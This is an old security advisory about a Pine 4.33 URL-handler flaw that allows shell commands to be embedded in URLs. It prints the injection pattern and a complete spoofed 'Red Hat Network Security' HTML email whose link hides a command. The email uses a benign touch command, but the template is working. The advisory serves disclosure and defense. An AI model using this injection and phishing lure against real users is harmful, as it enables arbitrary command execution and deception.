7th Jan 2002 [SBWID-4973]
COMMAND
Pine URL handler allows embedded commands
SYSTEMS AFFECTED
Pine 4.33 (at least)
PROBLEM
Zen-parse posted :
In Pine, if a user selects a URL for the form
http://address/\'&/some/program${IFS}with${IFS}arguments&\'
and URL handlers are installed, they will end up with the browser open
on
http://address/
and
/some/program with arguments
will get executed.
If you are reading your email as root these these commands will execute
as root. (Create an alias for root to a non-privileged user instead of
reading mail as root.)
If you are reading your email as a non-privileged user, the impact is
somewhat lower, although local exploits could be run on the computer,
or Outlook style email viruses could be executed. If you don\'t view
links given to you in Pine, the impact from this problem is
non-existant. It is possible to obfuscate the URL by putting it in an
HTML message such as the following.
----Begin html email----
From: Redhat Network Security <rhnsecurity@redhat.com>
To: undisclosed list <.@.>
Subject: Urgent update required to PINE
Message-ID: <Pine.LNX.4.33.0110221213510.9618-200000@clarity.local>
MIME-Version: 1.0
Content-Type: TEXT/html
Content-ID: <Pine.LNX.4.33.0110221214120.9618@clarity.local>
Content-Length: 389
Lines: 12
<HTML>
<BODY>
Urgent update:<p>
PINE allows execution of arbitrary commands.<p>
<a href=\"http://updates.redhat.com/update_information/urgent/redhat-linux-version-7.0/hole-in-pine-url-handler/\';touch${IFS}/tmp/zen.was.here;\'/\">
http://updates.redhat.com/update_information/urgent/redhat-linux-version-7.0/hole-in-pine-url-handler/</a>
<p>
This link contains PINE update information. <p>
You are advised to perform this immediately. <p>
The link also contains other urgent update information. <p>
</BODY>
</HTML>
----End html email----
Which would appear something like
----Begin view of email----
Date: Mon, 22 Oct 2001 13:34:40 +1300
From: Redhat Network Security <rhnsecurity@redhat.com>
To: undisclosed list <.@.>
Subject: Urgent update required to PINE
Urgent update:
PINE allows execution of arbitrary commands.
http://updates.redhat.com/update_information/urgent/redhat-linux-version-7.0/ho
e-in-pine-url-handler/
This link contains PINE update information.
You are advised to perform this immediately.
The link also contains other urgent update information.
----End view of email----
When this link is selected to follow, Pine changes the status/menu
lines to read:
View selected URL \"http://updates.redhat.com/update_information/urgent/r...\" ?
Y [Yes] U editURL
N No A editApp
Which appears to match the url in the email. This probably makes
detection of this kind of exploit attempt harder.
-------------------------------------------------------------------------
The preceding information is confidential and may not be redistributed
without explicit permission. Legal action may be taken to enforce this.
If this message was posted by zen-parse@gmx.net to a public forum it may
be redistributed as long as these conditions remain attached. If you are
mum or dad, this probably doesn\'t apply to you.
SOLUTION
Patch ripped from SuSE pine package by Olaf Kirch :
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Content-Description:
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--168455424-1305060506-1010408465=:22932--
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